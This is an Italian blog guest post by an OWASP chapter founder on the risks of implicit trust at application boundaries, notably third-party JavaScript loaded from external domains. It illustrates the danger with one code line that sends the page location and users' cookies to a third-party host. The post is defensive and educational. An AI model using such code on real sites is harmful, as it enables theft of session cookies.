martedì 19 ottobre 2010

Matteo Meucci - Fiducia Cieca

Sono veramente lieto di ospitare il primo post della serie "Voci Amiche", ossia il primo post "esterno" che viene pubblicato sulle pagine di Punto 1. E' per me fonte di ulteriore piacere il fatto che la prima persona che si è voluta cimentare con questa iniziativa sia Matteo Meucci, fondatore e presidente del capitolo italiano di OWASP e CEO di Minded Security. In fondo al post trovate una breve biografia di Matteo.

Bene, bando alle ciance...

"Fiducia Cieca" di Matteo Meucci

Che direste di qualcuno che quando incontra una persona per la prima volta, le stringe la mano e, subito dopo, in seguito ad una semplice domanda, fornisce automaticamente tutti i suoi dati e le sue informazioni personali?

E’ uno sprovveduto? E’ vittima di un raggiro?

Ora, a meno che questa ipotetica persona non sia davanti ad un pubblico ufficiale, le domande che di norma si dovrebbe porre prima di fornire informazioni sono: come mai questa richiesta? Che uso verrà fatto dei miei dati?

L’esperienza ci ha insegnato che la fiducia è un legame che si crea e si consolida nel tempo, sulla base della conoscenza reciproca.

Se tutto questo è chiaro e pacifico nelle interazioni tra persone, questi criteri di prudenza sono incredibilmente trascurati nelle interazioni tra applicazioni. Infatti il punto di integrazione tra applicazioni web complesse risulta essere ad oggi una delle problematiche maggiormente sottovalutate. Per questo mi sembra utile approfondire e analizzare le conseguenze della facilità con cui i responsabili applicativi forniscono un “trust implicito” verso tutti i confini delle applicazioni che si stanno realizzando.
Nel mondo applicativo, durante la fase di design ed implementazione del software, purtroppo, si tende a fornire un trust implicito verso tutti i confini applicativi, ovvero ci si focalizza (quando lo si fa) solo sulla sicurezza del core dell'applicazione che si sta sviluppando senza pensare a tutte le possibili interazioni che il nostro software dovrà gestire.

Il primo aspetto di trust implicito è relativo al fatto che tutto quello che proviene dagli utenti dovrebbe essere correttamente validato prima di essere processato lato server; sappiamo che questo è il problema più annoso nel mondo delle applicazioni web ed è un problema conosciuto. 

Quello che viene di norma molto sottovalutato riguarda gli altri aspetti di trust implicito e cioè:
- la comunicazione tra applicazioni: quando è necessario inviare delle informazioni dall’applicazione verso un database o altre applicazioni, spesso si sottovaluta la necessità di autenticare la richiesta e mantenere riservati i dati in transito. Questa trascuratezza, tra l’altro, espone anche a problematiche di privacy. (Per un approfondimento si veda la OWASP Top 2010, paragrafo A9 – Insufficient Transport Layer Protection. )
- l'utilizzo di piattaforme o di librerie open source: molto spesso vengono utilizzate piattaforme liberamente disponibili o librerie open source dimenticandosi che anche queste fanno parte dell’applicazione e che dovrebbero essere verificate così come il codice custom sviluppato. Il fatto che una piattaforma sia open source non significa che siano state correttamente eseguite tutte le necessarie verifiche di sicurezza prima del rilascio.
- l'import di componenti da terze parti: questa è la nota più dolente. Ad oggi non c’è nessuna sensibilità su questo tema. La maggior parte delle applicazioni Internet importa componenti esterni (come ad esempio banner in flash) trattandoli come una parte separata, non pensando, invece, che una possibile vulnerabilità su questo componente si ripercuoterà negativamente sulla sicurezza di tutta l’applicazione. All’interno di questa problematica il caso Javascript è certamente il più allarmante: la maggior parte dei siti Internet carica Javascript da siti di terze parti fornendo ancora una volta un trust implicito verso domini esterni. 
Questo è disarmante! 
In caso di compromissione del dominio della terza parte anche la sicurezza del nostro sito potrebbe essere compromessa ed inoltre un attaccante potrebbe eseguire azioni malevole direttamente sui browser degli utenti che utilizzano il nostro sito semplicemente modificando il codice Javascript che, con tanta faciloneria, abbiamo portato all’interno del nostro dominio applicativo.

Facciamo un esempio pratico… avremo un utente, il nostro sito, lo script e il sito della terza parte. Il flusso tipo prevede che gli attori interagiscano secondo il seguente schema:
- il browser dell’utente si collega al nostro sito
- il nostro sito richiama uno script memorizzato sul dominio terzaparte.it
- il dominio terzaparte.it fornisce il codice al nostro sito

Supponiamo che il codice JavaScript comprenda la seguente linea di codice:
sendTrack("url="+location+"&cookies="+document.cookies)
dove sendTrack è una comune funzione che invia, così come è stata pensata, le informazioni degli utenti verso terzaparte.it che, come tanti siti, traccia gli utenti che si collegano. Ebbene, è sufficiente questo codice per compromettere la riservatezza del cookie di sessione dell’utente: tale funzione, infatti, invierà al sito terzaparte.it il contenuto dei cookie dell’utente. Questo significa che il dominio di terza parte avrà a disposizione tutti i cookie di sessione degli utenti autenticati sul nostro sito compromettendo di fatto la sicurezza dell’applicazione.  
Inoltre teniamo presente che il codice JavaScript che viene eseguito sul browser dell’utente ha accesso al Document Object Model (DOM). Nel caso in cui vi siauna mancanza di un controllo molto stretto sulle modalità di utilizzo di un insieme di funzioni Javascript e i flussi di dati sono controllati da un attaccante, si può configurare una situazione molto pericolosa nota come DOM Based Cross Site Scripting. (E’ possibile approfondire questa vulnerabilità su OWASP o sul DomXSS Wiki:  curato da Stefano Di Paola).

Questi, sono solo un paio di esempi reali di trust implicito che può causare problemi di sicurezza del software: e voi quale livello di fiducia date al codice sviluppato da una terza parte?


-----------------------------------------------------

Matteo Meucci:
Laureato in Ingegneria Informatica presso l’Università degli Studi di Bologna, è attualmente CEO di Minded Security con più di 9 anni di esperienza nel campo dell’Information Security. Precedentemente fa parte del team della Security Practice europea di BT-INS, con focus su attività di Ethical Hacking e Application Security; responsabile della divisione Application Security presso una realtà romana e Application Security Consultant presso CryptoNet.

Dal 2005 Fondatore e presidente del Chapter italiano del progetto OWASP (Open Web Application Security Project) è responsabile della metodologia OWASP per la verifica di sicurezza degli applicativi web (OWASP Testing Guide). Possiede la certificazione CISSP e CISA.

Ha pubblicato diversi articoli sulla Web Application Security su riviste ed ezine quali Hackin9, ICT Security, La Repubblica, il Sole 24 Ore, ISACA Roma newsletter, Sistemi di Telecomunicazioni. È relatore presso EusecWest, Infosecurity, IDC European Banking Conference, OWASP Conferences in Milan, Rome, London, Boston, ABI Banche e sicurezza, Firenze Tecnologia, ISACA, SMAU e presso i Master
Universitari della Bocconi di Milano, La Sapienza Roma, Almaweb di Bologna.

Nessun commento:

Posta un commento

http://www.wikio.it